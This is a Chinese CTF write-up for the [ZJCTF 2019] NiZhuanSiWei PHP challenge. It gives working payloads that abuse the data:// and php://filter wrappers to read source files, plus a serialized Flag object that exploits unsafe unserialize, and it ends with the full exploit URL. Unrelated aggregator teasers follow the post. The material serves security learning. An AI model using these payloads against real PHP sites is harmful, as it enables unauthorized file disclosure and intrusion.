[ZJCTF 2019]NiZhuanSiWei 1详解

这篇具有很好参考价值的文章主要介绍了[ZJCTF 2019]NiZhuanSiWei 1详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

知识点:

data://    写入数据

php://input  执行php

  //filter  查看源码

下面我们来看题吧,打开题目一看,直接是源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

  我们需要get方式提交参数,text、file、password。

然后就是来到了第一个需要绕过的地方

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

  要求text不为空,这是肯定的,主要看下一句,file_get_contents($text,'r')==="welcome to the zjctf",从文件里读取字符串,还要和welcome to the zjctf相等。

这时候就用到了我们的data:// 写入协议了

于是我们先构造第一个payload:?text=data://text/plain,welcome to the zjctf

下面我们不能用flag.php来访问,因为被正则匹配,我们就拿不到反序列化后的password了。

 if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

  

下一个我们就该反序列化password了,但是我们又看到了useless.php文件包含,在这之前我们需要先读取里面的源码,然后将password反序列化出来。

于是我们构造第二个payload:file=php://filter/read=convert.base64-encode/resource=useless.php

这时候你会得到一串base64的编码,然后我们解码就得到了源码

[ZJCTF 2019]NiZhuanSiWei 1详解

 

 

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

 得到源码之后,我们将这个源码中的$file赋值flag.php,反序列化一下

<?php  

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$password=new Flag();
echo serialize($password);
?>  

  然后可以找在线的php解释器执行一下,也可以用自己的phpstudy本地服务器运行一下,我因为又本地服务器,我就再本地服务器上面跑了一下,于是得到反序列化的password

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这样我们重新构造最终的payload:?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

然后我们来到了这个页面

[ZJCTF 2019]NiZhuanSiWei 1详解

 

 访问源码,获得flag{c8bade29-bfbb-4553-b9a5-1720964270c9}

 

总结一下:

第一步:首先拿到题目,审计源码,需要我们传递参数,需要我们写入数据,这里用到了伪协议 data://,然后file_get_contnets()读取里面的字符串与之匹配

第二步:不能够直接用flag.php直接访问,我们需要读取useless.php的源码,这时候用到了伪协议中的php://filter来读取,我们读取的字符串是base64格式的需要我们进行转码

第三步:构造反序列化,得到最终的password.

第四步:构造最终的payload,然后在源码中获得flag.

以后,尽量做的每一道题都有一个做题思路的总结吧。希望在学习的路上能够一片光明,有什么地方写的不对的,欢迎大家的指正。学习了这么久,发现自己还是啥也不是。唉 ,太难了文章来源地址https://www.toymoban.com/news/detail-711258.html

到了这里,关于[ZJCTF 2019]NiZhuanSiWei 1详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Spring AOP知识点详解

    Spring AOP是 Spring最核心的能力,那到底什么是AOP呢,今天了不起带大家了解一下。 AOP(Aspect Oriented Programming): 面向切面编程 ,是OOP(面向对象编程)的一个延续,其和OOP一样,也是一种编程思想,不过AOP是一种横向开发模式。 OOP ,面向对象,允许开发者定义纵向的关系,但并适

    2024年02月16日
    浏览(58)
  • 【详解】C语言冷门知识点之--位段

    下面是维基百科对位段的解释:   位段(或称“位域”,Bit field)为一种数据结构,可以把数据以位的形式紧凑的储存,并允许程序员对此结构的位进行操作。这种数据结构的好处: 可以使数据单元节省储存空间,当程序需要成千上万个数据单元时,这种方法就显得尤为重

    2024年02月16日
    浏览(41)
  • 【Unity知识点详解】自定义程序集

            今天来介绍一下Unity中的自定义程序集。在项目开发中我们经常接触到第三方插件的程序集,如DOTween、Newtonsoft.Json等。         使用自定义程序集有这么几个好处: 方便代码的的复用。当某一功能模块需要在多个项目中重复使用时,可以将代码编译成程序集,将程

    2024年02月19日
    浏览(44)
  • 【大数据】Hudi 核心知识点详解(二)

    😊 如果您觉得这篇文章有用 ✔️ 的话,请给博主一个一键三连 🚀🚀🚀 吧 (点赞 🧡、关注 💛、收藏 💚)!!!您的支持 💖💖💖 将激励 🔥 博主输出更多优质内容!!! Hudi 核心知识点详解(一) Hudi 核心知识点详解(二) Hudi 提供了 Hudi 表的概念,这些表支持

    2024年02月03日
    浏览(40)
  • Maven工程 — 继承与聚合 相关知识点详解

     简介:这篇帖子主要讲解Maven工程中的继承与聚合的相关知识点,用简洁的语言和小编自己的理解,深入浅出的说明Maven工程的继承与聚合。 目录 1、继承 1.1 继承关系的实现 1.2 版本锁定 2、聚合 2.1 聚合方法 3、总结 3.1 作用与联系 4、私服 4.1 私服介绍 4.2 资源上传与下载

    2024年01月25日
    浏览(43)
  • Springboot实体类entity相关知识点详解

    目录 entity实体类相关知识点详解:       解释1:上面代码使用的注解是 Lombok 提供的注解,用于简化实体类的开发。       解释2:属性的注释自动生成问题:                解释3:java序列化反序列化,实体类实现Serializable接口:                     java序列化和反

    2024年02月08日
    浏览(48)
  • 【网络协议详解】——知识点复习(期末不挂科版)

    课本: 网络协议分析的方法: 静态的代码分析、动态的流量分析 IOS 的命令行接口(Command-Line Interface,CLI)是配置、监控和维护 Cisco 设备的最主要用户接口。 CLI 有多种模式: 命令模式 访问方法 提示符 退出方法 用途 User EXEC(用户模式) 连接设备 Router 输入命令 logout 或

    2024年02月09日
    浏览(56)
  • 【C语言】让你不再害怕“指针”【知识点详解】

    目录 一.什么是指针为什么需要指针? 1.什么是指针? 2.为什么需要指针? 以一个代码为例观察地址:(这里我们可以通过调试和打印两种方式观察) 1.调试观察: 2.打印观察(地址是用%p 打印): 二.地址编号的来源指针变量的大小 产生来源 指针变量大小 三.指针类型  

    2024年02月08日
    浏览(50)
  • 【知识点】Python 的np.prod函数详解

    np.prod 是Numpy库中的一个函数,全称为 numpy.prod ,它的作用是计算数组中所有元素的乘积。该函数是一个快速的计算积的方法,可以接收任意数组或矩阵作为输入,并返回这些数字的乘积。 举个例子: 上面的代码计算了数组 a 中的元素的乘积,最终结果为120。 除了可以计算数

    2024年02月05日
    浏览(53)
  • iframe嵌套其它网站页面及相关知识点详解

    在开发过程中会遇到需要 在一个页面中嵌套另外一个页面,就要使用到框架 标签,然后指定src就可以了。 基本语法: 用法举例: 运行后效果图: 但是我们需要更好看点的iframe. 我们来看看在iframe中还可以设置些什么属性 属性 值 frameborder 是否显示边框,1(yes),0(no) height 框架

    2024年02月02日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包